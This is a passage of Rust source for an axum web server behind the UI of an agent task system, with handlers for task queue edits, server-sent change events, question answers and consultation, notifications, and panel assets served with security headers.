6575 ))
6576 })?;
6577 if let crate::dupes::Screened::Unjudged(why) = screened {
6578 tracing::warn!(%why, "task edit saved without a duplicate-work judgement");
6579 }
6580 }
6581 judged = seen;
6582 }
6583 let force = body.force;
6584 mutate(ui, id, move |t| {
6585 if !force && body.instruction != t.instruction {
6586 match &judged {
6587 Some((instruction, repo)) if *instruction == t.instruction && *repo == t.repo => {}
6588 _ => {
6589 anyhow::bail!("the task changed while it was being checked; repeat the request")
6590 }
6591 }
6592 }
6593 t.edit(body.title.clone(), body.instruction.clone())
6594 })
6595 .await
6596}
6597
6598async fn queue_done(
6606 State(ui): State<Arc<Ui>>,
6607 Path(id): Path<String>,
6608) -> ApiResult<Json<TaskView>> {
6609 let home = ui.home.clone();
6610 mutate(ui, id, move |t| {
6611 t.succeed();
6612 crate::daemon::supersede_prior_runs(t, &home);
6620 Ok(())
6621 })
6622 .await
6623}
6624
6625async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
6633 blocking(move || {
6634 let id = resolve_task(&ui.queue, &id)?;
6635 let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
6636 ui.queue
6637 .remove(&id, in_flight, &ui.questions)
6638 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
6639 Ok(StatusCode::NO_CONTENT)
6640 })
6641 .await
6642}
6643
6644async fn mutate(
6653 ui: Arc<Ui>,
6654 id: String,
6655 change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
6656) -> ApiResult<Json<TaskView>> {
6657 blocking(move || {
6658 let id = resolve_task(&ui.queue, &id)?;
6659 let _claim = ui.queue.claim(&id).map_err(|e| {
6664 ApiError::conflict(format!(
6665 "{e:#} - a daemon is running this task, so it cannot be \
6666 changed from here yet; wait until it is released, then retry"
6667 ))
6668 })?;
6669 let mut task = ui.queue.get(&id)?;
6670 change(&mut task).map_err(|e| match e.downcast::<crate::dupes::Duplicate>() {
6671 Ok(dup) => ApiError::conflict(dup.render(
6672 "Nothing was saved. If it is not a duplicate, repeat the request with \
6673 \"force\": true.",
6674 )),
6675 Err(e) => ApiError::bad_request_from(e),
6676 })?;
6677 ui.queue.put(&mut task)?;
6678 Ok(Json(TaskView::from(task)))
6679 })
6680 .await
6681}
6682
6683async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
6688 ui.monitor.ensure_worker(&ui);
6689 let mut broadcast_rx = ui.monitor.broadcaster.subscribe();
6690 let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
6691
6692 let state = Arc::clone(&ui);
6693 tokio::spawn(async move {
6694 let initial_revisions = {
6695 let guard = match state.monitor.latest.lock() {
6696 Ok(g) => g,
6697 Err(p) => p.into_inner(),
6698 };
6699 guard.as_ref().map(|(r, _)| *r)
6700 };
6701 if let Some(revisions) = initial_revisions {
6702 let initial_payload = serde_json::json!({
6703 "queue_rev": revisions.0,
6704 "runs_rev": revisions.1,
6705 "questions_rev": revisions.2,
6706 "talks_rev": revisions.3,
6707 "notifications_rev": revisions.4,
6708 "loop_rev": revisions.5,
6709 });
6710
6711 if let Ok(event) = Event::default().event("change").json_data(initial_payload) {
6712 if tx.send(event).await.is_err() {
6713 return;
6714 }
6715 }
6716 }
6717
6718 loop {
6719 match tokio::select! {
6720 _ = tx.closed() => return,
6721 value = broadcast_rx.recv() => value,
6722 } {
6723 Ok(notif) => {
6724 let Ok(event) = Event::default().event("change").json_data(notif.payload)
6725 else {
6726 break;
6727 };
6728 if tx.send(event).await.is_err() {
6729 break;
6730 }
6731 }
6732 Err(tokio::sync::broadcast::error::RecvError::Lagged(_)) => {
6733 let revs = {
6734 let guard = match state.monitor.latest.lock() {
6735 Ok(g) => g,
6736 Err(p) => p.into_inner(),
6737 };
6738 guard.as_ref().map(|(r, _)| *r)
6739 };
6740 if let Some(revs) = revs {
6741 let payload = serde_json::json!({
6742 "queue_rev": revs.0,
6743 "runs_rev": revs.1,
6744 "questions_rev": revs.2,
6745 "talks_rev": revs.3,
6746 "notifications_rev": revs.4,
6747 "loop_rev": revs.5,
6748 });
6749 if let Ok(event) = Event::default().event("change").json_data(payload) {
6750 if tx.send(event).await.is_err() {
6751 break;
6752 }
6753 }
6754 }
6755 }
6756 Err(tokio::sync::broadcast::error::RecvError::Closed) => {
6757 break;
6758 }
6759 }
6760 }
6761 });
6762
6763 Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
6764 .keep_alive(KeepAlive::new().interval(KEEPALIVE))
6765}
6766
6767fn run_ids(runs: &FsPath) -> Vec<String> {
6773 let mut ids: Vec<String> = std::fs::read_dir(runs)
6774 .into_iter()
6775 .flatten()
6776 .flatten()
6777 .filter(|e| e.path().join("run.json").is_file())
6778 .map(|e| e.file_name().to_string_lossy().into_owned())
6779 .collect();
6780 ids.sort_unstable_by(|a, b| b.cmp(a));
6782 ids
6783}
6784
6785fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
6787 let path = runs.join(id).join("run.json");
6788 let body =
6789 std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
6790 let state: RunState =
6791 serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
6792 run::migrate_schema(state)
6797}
6798
6799#[must_use]
6807pub fn runs_unreadable(runs: &FsPath) -> usize {
6808 run_ids(runs)
6809 .into_iter()
6810 .filter(|id| read_run(runs, id).is_err())
6811 .count()
6812}
6813
6814fn plain_record_id(id: &str) -> bool {
6815 !id.is_empty() && id != "." && id != ".." && !id.contains(['/', '\\'])
6816}
6817
6818fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
6820 if plain_record_id(id) && runs.join(id).join("run.json").is_file() {
6821 return Ok(id.to_owned());
6822 }
6823 pick(run_ids(runs), id, "run")
6824}
6825
6826fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
6828 if plain_record_id(id) && queue.path_of(id).is_file() {
6829 return Ok(id.to_owned());
6830 }
6831 let ids = crate::queue::record_ids(queue.root(), "json").unwrap_or_default();
6832 pick(ids, id, "task")
6833}
6834
6835#[derive(Debug, Serialize)]
6846struct QuestionView {
6847 choice_effects: std::collections::BTreeMap<String, String>,
6848 record_revision: String,
6849 #[serde(flatten)]
6850 question: Question,
6851 detail_md: Vec<md::Node>,
6852 posting_view: Option<PostingView>,
6853 thread_bodies_md: Vec<Vec<md::Node>>,
6855 thread_notes_md: Vec<Option<Vec<md::Node>>>,
6858 waiting_on_agent: bool,
6868 holder: Option<&'static str>,
6872 deputies_enabled: bool,
6876 deputy_exhausted: bool,
6879 text_delivery: crate::question_delivery::Availability,
6880 run_is_task: bool,
6883 origin_chat: Option<String>,
6886 origin_chat_closed: bool,
6888 can_consult_chat: bool,
6890}
6891
6892#[derive(Debug, Serialize)]
6893struct PostingView {
6894 before_md: Vec<md::Node>,
6895 after_md: Vec<md::Node>,
6896 fields: Vec<crate::github_text::ComparisonView>,
6897}
6898
6899fn posting_view(question: &Question, base: &md::ImageBase) -> Option<PostingView> {
6900 let comparison = question.posting_comparison.as_ref()?;
6901 if !comparison.matches_detail(&question.detail) {
6902 return None;
6903 }
6904 let mut ids = std::collections::BTreeSet::new();
6905 if comparison.fields.is_empty()
6906 || comparison
6907 .fields
6908 .iter()
6909 .flat_map(|f| &f.pairs)
6910 .any(|p| !ids.insert(p.id))
6911 || comparison
6912 .fields
6913 .iter()
6914 .flat_map(|f| &f.original_triggers)
6915 .any(|t| !ids.insert(t.id))
6916 {
6917 return None;
6918 }
6919 let fields = comparison
6920 .fields
6921 .iter()
6922 .map(|f| f.view(comparison.excerpt))
6923 .collect::<Option<Vec<_>>>()?;
6924 Some(PostingView {
6925 before_md: md::to_nodes(question.detail.get(..comparison.start)?, base),
6926 after_md: md::to_nodes(question.detail.get(comparison.end..)?, base),
6927 fields,
6928 })
6929}
6930
6931impl QuestionView {
6932 fn of(question: Question, store: &ask::Questions, cfg: Option<&Config>) -> Self {
6936 let base = md::ImageBase::QuestionPanel {
6937 id: question.id.clone(),
6938 };
6939 let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
6940 Self {
6941 choice_effects: question
6942 .choices
6943 .iter()
6944 .filter_map(|c| {
6945 crate::choice_effect::describe(&question, c).map(|effect| (c.clone(), effect))
6946 })
6947 .collect(),
6948 record_revision: question_record_revision(&question),
6949 detail_md: md::to_nodes(&question.detail, &base),
6950 posting_view: posting_view(&question, &base),
6951 thread_bodies_md: question
6952 .thread
6953 .iter()
6954 .map(|t| md::to_nodes(&t.body, &base))
6955 .collect(),
6956 thread_notes_md: question
6957 .thread
6958 .iter()
6959 .map(|t| t.note.as_deref().map(|n| md::to_nodes(n, &base)))
6960 .collect(),
6961 deputy_exhausted: store.deputy_exhausted(&question),
6962 waiting_on_agent: question.waiting_on_agent(),
6963 holder,
6964 deputies_enabled: deputies_enabled(cfg, &question),
6965 text_delivery: crate::question_delivery::availability(store, &question, cfg),
6966 run_is_task: question.run_names_task(),
6967 origin_chat: None,
6968 origin_chat_closed: false,
6969 can_consult_chat: false,
6970 question,
6971 }
6972 }
6973
6974 fn with_origin(
6976 mut self,
6977 tasks: &[crate::queue::Task],
6978 talks: &[Talk],
6979 watches: &[crate::release_watch::WatchState],
6980 ) -> Self {
6981 let consult = crate::consult::origin_talk(tasks, talks, &self.question);
6982 self.can_consult_chat = consult.is_some();
6983 let talk =
6984 crate::consult::associated_talk_with_watches(tasks, talks, &self.question, watches);
6985 self.origin_chat_closed = talk.as_ref().is_some_and(|t| !t.status.open());
6986 self.origin_chat = talk.map(|t| t.id);
6987 self
6988 }
6989}
6990
6991fn deputy_config(repo: &std::path::Path) -> Option<Config> {
6995 Config::discover(repo, None).ok().map(|(c, _)| c)
6996}
6997
6998fn deputies_enabled(cfg: Option<&Config>, q: &Question) -> bool {
7000 crate::deputy::can_start(cfg, crate::deputy::agent_of(q))
7001}
7002
7003fn question_views(
7006 qs: Vec<Question>,
7007 store: &ask::Questions,
7008 load: impl FnOnce() -> Option<Config>,
7009) -> Vec<QuestionView> {
7010 if qs.is_empty() {
7011 return Vec::new();
7012 }
7013 let cfg = load();
7014 qs.into_iter()
7015 .map(|q| QuestionView::of(q, store, cfg.as_ref()))
7016 .collect()
7017}
7018
7019fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
7029 if !q.status.open() {
7030 return None;
7031 }
7032 if q.cwd.is_none()
7033 && q.deputy.is_none()
7034 && lease.is_none_or(|l| !l.fresh(jiff::Timestamp::now()))
7035 {
7036 return crate::deputy::kind_of(q).map(|_| "nobody");
7037 }
7038 Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
7039 Some(_) if q.deputy.is_some() => "deputy",
7040 Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
7041 Some(_) => "asker",
7042 None => "nobody",
7043 })
7044}
7045
7046async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
7052 blocking(move || {
7053 let questions = ui.questions.list();
7054 let (tasks, talks, watches) = question_origin_inputs(&ui, &questions)?;
7055 Ok(Json(
7056 question_views(questions, &ui.questions, || deputy_config(&ui.repo))
7057 .into_iter()
7058 .map(|view| view.with_origin(&tasks, &talks, &watches))
7059 .collect(),
7060 ))
7061 })
7062 .await
7063}
7064
7065async fn questions_core(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
7067 blocking(move || {
7068 Ok(Json(question_views(
7069 ui.questions.list(),
7070 &ui.questions,
7071 || deputy_config(&ui.repo),
7072 )))
7073 })
7074 .await
7075}
7076
7077fn question_record_revision(question: &Question) -> String {
7078 use std::hash::{Hash as _, Hasher as _};
7079 let mut hash = std::hash::DefaultHasher::new();
7080 serde_json::to_vec(question)
7081 .expect("serializable question")
7082 .hash(&mut hash);
7083 format!("{:016x}", hash.finish())
7084}
7085
7086#[derive(Serialize)]
7087struct QuestionOriginView {
7088 id: String,
7089 record_revision: String,
7090 origin_chat: Option<String>,
7091 origin_chat_closed: bool,
7092 can_consult_chat: bool,
7093}
7094
7095async fn question_origins(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionOriginView>>> {
7096 blocking(move || {
7097 let questions = ui.questions.list();
7098 let (tasks, talks, watches) = question_origin_inputs(&ui, &questions)?;
7099 Ok(Json(
7100 questions
7101 .into_iter()
7102 .map(|question| {
7103 let consult = crate::consult::origin_talk(&tasks, &talks, &question);
7104 let can_consult_chat = consult.is_some();
7105 let talk = crate::consult::associated_talk_with_watches(
7106 &tasks, &talks, &question, &watches,
7107 );
7108 QuestionOriginView {
7109 record_revision: question_record_revision(&question),
7110 id: question.id,
7111 origin_chat_closed: talk.as_ref().is_some_and(|talk| !talk.status.open()),
7112 origin_chat: talk.map(|talk| talk.id),
7113 can_consult_chat,
7114 }
7115 })
7116 .collect(),
7117 ))
7118 })
7119 .await
7120}
7121
7122type QuestionOriginInputs = (Vec<Task>, Vec<Talk>, Vec<crate::release_watch::WatchState>);
7123
7124fn question_origin_inputs(ui: &Ui, questions: &[Question]) -> ApiResult<QuestionOriginInputs> {
7128 fn task_for_run(
7129 ui: &Ui,
7130 index: &mut Option<Vec<Arc<TaskRelation>>>,
7131 run: &str,
7132 loaded: &HashMap<String, Task>,
7133 ) -> ApiResult<Option<Task>> {
7134 if !plain_record_id(run) {
7135 return Ok(None);
7136 }
7137 if index.is_none() {
7138 *index = Some(ui.indexed_tasks()?);
7139 }
7140 Ok(index
7141 .as_ref()
7142 .expect("loaded index")
7143 .iter()
7144 .find(|task| task.runs.iter().any(|id| id == run))
7145 .and_then(|task| {
7146 loaded
7147 .get(&task.id)
7148 .cloned()
7149 .or_else(|| ui.queue.get(&task.id).ok())
7150 })
7151 .filter(|task| task.runs.iter().any(|id| id == run)))
7152 }
7153 let direct_task = |id: &str, loaded: &HashMap<String, Task>| {
7154 plain_record_id(id)
7155 .then(|| loaded.get(id).cloned().or_else(|| ui.queue.get(id).ok()))
7156 .flatten()
7157 .filter(|task| task.id == id)
7158 };
7159 let watches = crate::release_watch::states_for_questions(&ui.home, questions);
7160 let mut index = None;
7161 let mut tasks = HashMap::new();
7162 let mut talks = HashMap::new();
7163 for question in questions {
7164 for reference in crate::consult::question_task_refs(question, &watches) {
7165 let mut current = match reference {
7166 crate::consult::QuestionTaskRef::Task(id) => direct_task(id, &tasks),
7167 crate::consult::QuestionTaskRef::Run(id) => {
7168 task_for_run(ui, &mut index, id, &tasks)?
7169 }
7170 };
7171 let mut seen = HashSet::new();
7172 for _ in 0..=crate::followup::MAX_FOLLOWUP_GENERATION {
7173 let Some(task) = current.take() else {
7174 break;
7175 };
7176 if !seen.insert(task.id.clone()) {
7177 break;
7178 }
7179 let chat = task.chat_talk().map(str::to_owned);
7180 let followup = task.followup.clone();
7181 tasks.insert(task.id.clone(), task);
7182 if let Some(chat) = chat {
7183 if plain_record_id(&chat)
7184 && !talks.contains_key(&chat)
7185 && let Ok(talk) = ui.talks.get(&chat)
7186 {
7187 talks.insert(chat, talk);
7188 }
7189 break;
7190 }
7191 let Some(followup) = followup else {
7192 break;
7193 };
7194 current = match followup.origin_task {
7195 Some(id) => direct_task(&id, &tasks),
7196 None => task_for_run(ui, &mut index, &followup.run, &tasks)?,
7197 };
7198 }
7199 }
7200 }
7201 let mut tasks: Vec<Task> = tasks.into_values().collect();
7202 tasks.sort_unstable_by(|a, b| b.priority.cmp(&a.priority).then_with(|| b.id.cmp(&a.id)));
7203 Ok((tasks, talks.into_values().collect(), watches))
7204}
7205
7206async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
7209 blocking(move || {
7210 let items = ui.notices.list();
7211 let unread = items.iter().filter(|n| n.unread()).count();
7212 let items: Vec<_> = items
7213 .into_iter()
7214 .map(|n| {
7215 let question = crate::notices::answerable_question(&n, &ui.questions);
7216 let mut item = serde_json::to_value(n)?;
7217 item["answerable_question"] = serde_json::json!(question);
7218 Ok(item)
7219 })
7220 .collect::<anyhow::Result<_>>()?;
7221 Ok(Json(
7222 serde_json::json!({ "unread": unread, "items": items }),
7223 ))
7224 })
7225 .await
7226}
7227
7228fn notice_error(e: anyhow::Error) -> ApiError {
7229 ApiError::not_found(format!("{e:#}"))
7232}
7233
7234async fn notification_read(
7236 State(ui): State<Arc<Ui>>,
7237 Path(id): Path<String>,
7238) -> ApiResult<Json<Notice>> {
7239 blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
7240}
7241
7242async fn notification_dismiss(
7244 State(ui): State<Arc<Ui>>,
7245 Path(id): Path<String>,
7246) -> ApiResult<Json<Notice>> {
7247 blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
7248}
7249
7250async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
7252 blocking(move || {
7253 let changed = ui.notices.mark_all_read()?;
7254 Ok(Json(serde_json::json!({ "marked": changed })))
7255 })
7256 .await
7257}
7258
7259#[derive(Debug, Default, Deserialize)]
7265#[serde(default, deny_unknown_fields)]
7266struct NewAnswer {
7267 choice: Option<String>,
7268 text: Option<String>,
7269 talk: Option<String>,
7270 head: Option<String>,
7271}
7272
7273async fn question_answer(
7274 State(ui): State<Arc<Ui>>,
7275 Path(id): Path<String>,
7276 body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
7277) -> ApiResult<Json<QuestionView>> {
7278 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7279 let answer = match (body.choice, body.text) {
7280 (Some(c), None) => Answer::Choice(c),
7281 (None, Some(t)) => Answer::Text(t),
7282 (Some(_), Some(_)) => {
7283 return Err(ApiError::bad_request(
7284 "send either `choice` or `text`, not both",
7285 ));
7286 }
7287 (None, None) => {
7288 return Err(ApiError::bad_request("send a `choice` or a `text`"));
7289 }
7290 };
7291
7292 blocking(move || {
7293 let id = resolve_question(&ui.questions, &id)?;
7294 let q = ui
7295 .questions
7296 .get(&id)
7297 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
7298 if !q.status.open() {
7299 return Err(ApiError::conflict(format!(
7303 "question {} is already {}",
7304 q.short(),
7305 q.status.as_str()
7306 )));
7307 }
7308 let cfg = deputy_config(&ui.repo);
7312 let (q, ()) = ui
7313 .questions
7314 .update(&q.id, |r| {
7315 anyhow::ensure!(
7316 r.routed_task.is_none() || r.merge_target.is_some(),
7317 "task decisions are free text in the task chat; its agent records them with `magi task control decide`"
7318 );
7319 let merge = matches!(&answer, ask::Answer::Choice(c)
7320 if crate::consult::consent(r, c) == crate::consult::Consent::Merge);
7321 if r.routed_task.is_some() && r.merge_target.is_some() && merge
7324 && (body.talk.is_some() || body.head.is_some())
7325 {
7326 let talk_id = body.talk.as_deref().context("approval button requires its chat")?;
7327 let head = body.head.as_deref().context("approval button requires the displayed head")?;
7328 let talk = ui.talks.get(talk_id)?;
7329 anyhow::ensure!(
7330 talk.status.open(),
7331 "approval chat is closed"
7332 );
7333 r.answer_chat_button(answer, talk_id, head)
7334 } else {
7335 r.answer(answer)
7336 }
7337 })
7338 .map_err(ApiError::bad_request_from)?;
7339 let (tasks, talks, watches) =
7340 question_origin_inputs(&ui, std::slice::from_ref(&q)).unwrap_or_default();
7341 Ok(Json(
7342 QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks, &watches),
7343 ))
7344 })
7345 .await
7346}
7347
7348fn question_text_error(e: anyhow::Error) -> ApiError {
7350 let reason = e
7351 .downcast_ref::<crate::question_delivery::TextUnavailable>()
7352 .map(|e| e.reason);
7353 let error = ApiError::bad_request_from(e);
7354 if let Some(reason) = reason {
7355 ApiError {
7356 text_reason: Some(reason),
7357 ..error.with_status(StatusCode::UNPROCESSABLE_ENTITY)
7358 }
7359 } else {
7360 error
7361 }
7362}
7363
7364#[derive(Debug, Deserialize)]
7366#[serde(deny_unknown_fields)]
7367struct NewSay {
7368 body: String,
7369}
7370
7371async fn question_say(
7381 State(ui): State<Arc<Ui>>,
7382 Path(id): Path<String>,
7383 body: std::result::Result<Json<NewSay>, JsonRejection>,
7384) -> ApiResult<Json<QuestionView>> {
7385 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7386 blocking(move || {
7387 let id = resolve_question(&ui.questions, &id)?;
7388 let q = ui
7389 .questions
7390 .get(&id)
7391 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
7392 if !q.status.open() {
7393 return Err(ApiError::conflict(format!(
7397 "question {} is already {}",
7398 q.short(),
7399 q.status.as_str()
7400 )));
7401 }
7402 let cfg = deputy_config(&ui.repo);
7405 let (q, ()) = ui
7406 .questions
7407 .update(&q.id, |r| {
7408 if body.body.trim().is_empty() {
7409 return r.say(body.body);
7410 }
7411 crate::question_delivery::require(&ui.questions, r, cfg.as_ref())?;
7412 r.say(body.body)
7413 })
7414 .map_err(question_text_error)?;
7415 let (tasks, talks, watches) =
7416 question_origin_inputs(&ui, std::slice::from_ref(&q)).unwrap_or_default();
7417 Ok(Json(
7418 QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks, &watches),
7419 ))
7420 })
7421 .await
7422}
7423
7424async fn admitted<T: Send + 'static>(
7427 admission: AdmissionGuard,
7428 work: impl Future<Output = ApiResult<T>> + Send + 'static,
7429) -> ApiResult<T> {
7430 tokio::spawn(async move {
7431 let result = work.await;
7432 drop(admission);
7433 result
7434 })
7435 .await
7436 .map_err(|error| ApiError::internal(format!("work admission failed: {error}")))?
7437}
7438
7439async fn question_consult(
7448 State(ui): State<Arc<Ui>>,
7449 Path(id): Path<String>,
7450) -> ApiResult<(StatusCode, Json<QuestionView>)> {
7451 let admission = ui.begin_admission()?;
7452 admitted(admission, async move {
7453 let (q, tasks, talks, watches, talk, cfg) = blocking({
7454 let ui = Arc::clone(&ui);
7455 move || {
7456 let id = resolve_question(&ui.questions, &id)?;
7457 let q = ui.questions.get(&id).map_err(|e| {
7458 ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR)
7459 })?;
7460 if !q.status.open() {
7461 return Err(ApiError::conflict(format!(
7462 "question {} is already {}",
7463 q.short(),
7464 q.status.as_str()
7465 )));
7466 }
7467 let (tasks, talks, watches) =
7468 question_origin_inputs(&ui, std::slice::from_ref(&q))?;
7469 let Some(talk) = crate::consult::origin_talk(&tasks, &talks, &q) else {
7470 return Err(ApiError::conflict(format!(
7471 "question {} has no chat to ask",
7472 q.short()
7473 )));
7474 };
7475 let cfg = if q.consult.is_none() {
7479 Some(Config::discover(&talk.repo, None)?.0)
7480 } else {
7481 None
7482 };
7483 Ok((q, tasks, talks, watches, talk, cfg))
7484 }
7485 })
7486 .await?;
7487 let _publication = crate::consult::publication_guard(&ui.talks, &talk.id)
7488 .await
7489 .map_err(ApiError::from)?;
7490 let (view, reclaimed, submitted) = blocking({
7491 let ui = Arc::clone(&ui);
7492 move || {
7493 let fresh = crate::consult::begin(&ui.questions, &ui.talks, &q, &talk)?;
7494 let claim = if fresh {
7495 match ui.begin_queued_talk_turn(&talk.id)? {
7496 Some(turn_guard) => {
7497 let talk = ui.talks.get(&talk.id)?;
7498 let cfg = match cfg {
7499 Some(cfg) => cfg,
7500 None => Config::discover(&talk.repo, None)?.0,
7501 };
7502 Some((talk, cfg, turn_guard))
7503 }
7504 None => None,
7505 }
7506 } else {
7507 None
7508 };
7509 let q = ui.questions.get(&q.id)?;
7510 let cfg = deputy_config(&ui.repo);
7511 let view = QuestionView::of(q, &ui.questions, cfg.as_ref())
7512 .with_origin(&tasks, &talks, &watches);
7513 Ok((view, claim, fresh.then_some(talk.id)))
7514 }
7515 })
7516 .await?;
7517 #[cfg(not(test))]
7518 {
7519 if let Some(id) = submitted {
7520 crate::consult::spawn_turn(&ui.talks, &id)
7521 .await
7522 .map_err(ApiError::from)?;
7523 }
7524 drop(reclaimed);
7525 }
7526 #[cfg(test)]
7527 let _ = submitted;
7528 #[cfg(test)]
7529 if let Some((talk, cfg, turn_guard)) = reclaimed {
7530 let talks = ui.talks.clone();
7531 let id = talk.id.clone();
7532 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
7533 }
7534 Ok((StatusCode::ACCEPTED, Json(view)))
7535 })
7536 .await
7537}
7538
7539fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
7541 if plain_record_id(id) && store.path_of(id).is_file() {
7542 return Ok(id.to_owned());
7543 }
7544 pick(
7545 store.list().into_iter().map(|q| q.id).collect(),
7546 id,
7547 "question",
7548 )
7549}
7550
7551async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
7566 blocking(move || {
7567 let id = resolve_question(&ui.questions, &id)?;
7568 let Some(html) = ui.questions.panel_html(&id) else {
7569 return Err(ApiError::not_found(format!("question {id} has no panel")));
7570 };
7571 Ok(panel_response(
7572 "text/html; charset=utf-8",
7573 false,
7574 html.into_bytes(),
7575 ))
7576 })
7577 .await
7578}
7579
7580async fn question_asset(
7608 State(ui): State<Arc<Ui>>,
7609 Path((id, name)): Path<(String, String)>,
7610) -> ApiResult<Response> {
7611 if !crate::ask::valid_asset_name(&name) {
7614 return Err(ApiError::bad_request(format!(
7615 "`{name}` is not a usable asset name"
7616 )));
7617 }
7618 blocking(move || {
7619 let id = resolve_question(&ui.questions, &id)?;
7620 let asset = ui
7621 .questions
7622 .panel_asset(&id, &name)
7623 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
7624 let Some(bytes) = asset else {
7625 return Err(ApiError::not_found(format!(
7626 "question {id} has no asset `{name}`"
7627 )));
7628 };
7629 Ok(panel_response(
7630 asset_content_type(&name),
7631 is_svg(&name),
7632 bytes,
7633 ))
7634 })
7635 .await
7636}
7637
7638fn asset_content_type(name: &str) -> &'static str {
7651 match extension(name).as_deref() {
7652 Some("png") => "image/png",
7653 Some("jpg" | "jpeg") => "image/jpeg",
7654 Some("gif") => "image/gif",
7655 Some("webp") => "image/webp",
7656 Some("svg") => "image/svg+xml",
7657 Some("css") => "text/css; charset=utf-8",
7658 Some("txt") => "text/plain; charset=utf-8",
7659 _ => "application/octet-stream",
7660 }
7661}
7662
7663fn is_svg(name: &str) -> bool {
7666 extension(name).as_deref() == Some("svg")
7667}
7668
7669fn extension(name: &str) -> Option<String> {
7671 name.rsplit_once('.')
7672 .map(|(_, ext)| ext.to_ascii_lowercase())
7673}
7674
7675fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
7692 let mut res = (
7693 [
7694 (header::CONTENT_TYPE, content_type),
7695 (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
7696 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
7697 (header::REFERRER_POLICY, "no-referrer"),
7698 ],
7699 body,
7700 )
7701 .into_response();
7702 if download {
7703 res.headers_mut().insert(
7704 header::CONTENT_DISPOSITION,
7705 HeaderValue::from_static("attachment"),
7706 );
7707 }
7708 res
7709}
7710
7711#[derive(Debug, Serialize)]
7717struct ChatApproval {
7718 question: String,
7719 target: crate::merge_decision::Target,
7720}
7721
7722#[derive(Debug, Serialize)]
7723struct TalkView {
7724 #[serde(flatten)]
7725 talk: Talk,
7726 turn_bodies_md: Vec<Vec<md::Node>>,
7727 turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>>,
7729 pending_messages_md: Vec<Option<Vec<md::Node>>>,
7730 merge_approvals: Vec<ChatApproval>,
7731 thinking: bool,
7739 context: talk::ContextUsage,
7743 operator_name: Option<String>,
7746 persona_name: Option<String>,
7748 persona_avatar: String,
7751 operator_avatar: String,
7753 magi_avatar: String,
7754}
7755
7756impl TalkView {
7757 fn new(talk: Talk, thinking: bool, ui: &Ui) -> Self {
7760 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
7761 Self::with_config(talk, thinking, cfg.as_ref(), &ui.home, &ui.references)
7762 }
7763
7764 fn with_config(
7767 talk: Talk,
7768 thinking: bool,
7769 cfg: Option<&Config>,
7770 home: &FsPath,
7771 cache: &id_links::IndexCache,
7772 ) -> Self {
7773 let references = cache.for_talk(home, &talk);
7774 Self::with_references(talk, thinking, cfg, home, &references)
7775 }
7776
7777 fn with_references(
7778 mut talk: Talk,
7779 thinking: bool,
7780 cfg: Option<&Config>,
7781 home: &FsPath,
7782 references: &id_links::IdIndex,
7783 ) -> Self {
7784 let snapshot = talk.clone();
7786 for (index, turn) in talk.turns.iter_mut().enumerate() {
7787 let original = &snapshot.turns[index];
7788 if turn.messages.is_empty() {
7789 if let Some(display) = talk::notice_display(&snapshot, original, None) {
7790 turn.messages.push(talk::Message {
7791 sender: Some(talk::Sender::Magi),
7792 body: original.body.clone(),
7793 display: Some(display),
7794 attachments: original.attachments.clone(),
7795 reply: None,
7796 });
7797 }
7798 } else {
7799 for (i, message) in turn.messages.iter_mut().enumerate() {
7800 message.display =
7801 talk::notice_display(&snapshot, original, original.messages.get(i));
7802 if message.display.is_some() {
7803 message.sender = Some(talk::Sender::Magi);
7804 }
7805 }
7806 }
7807 }
7808 for message in &mut talk.pending_messages {
7809 if message.display.is_none()
7810 && (message.sender == Some(talk::Sender::Magi)
7811 || snapshot
7812 .completion_notices
7813 .iter()
7814 .any(|r| r.notice == message.body))
7815 {
7816 message.display = crate::prompt::legacy_notice_display(&message.body);
7817 if message.display.is_some() {
7818 message.sender = Some(talk::Sender::Magi);
7819 }
7820 }
7821 }
7822 if talk.pending_messages.is_empty()
7823 && snapshot
7824 .completion_notices
7825 .iter()
7826 .any(|r| r.notice == talk.pending)
7827 && let Some(display) = crate::prompt::legacy_notice_display(&talk.pending)
7828 {
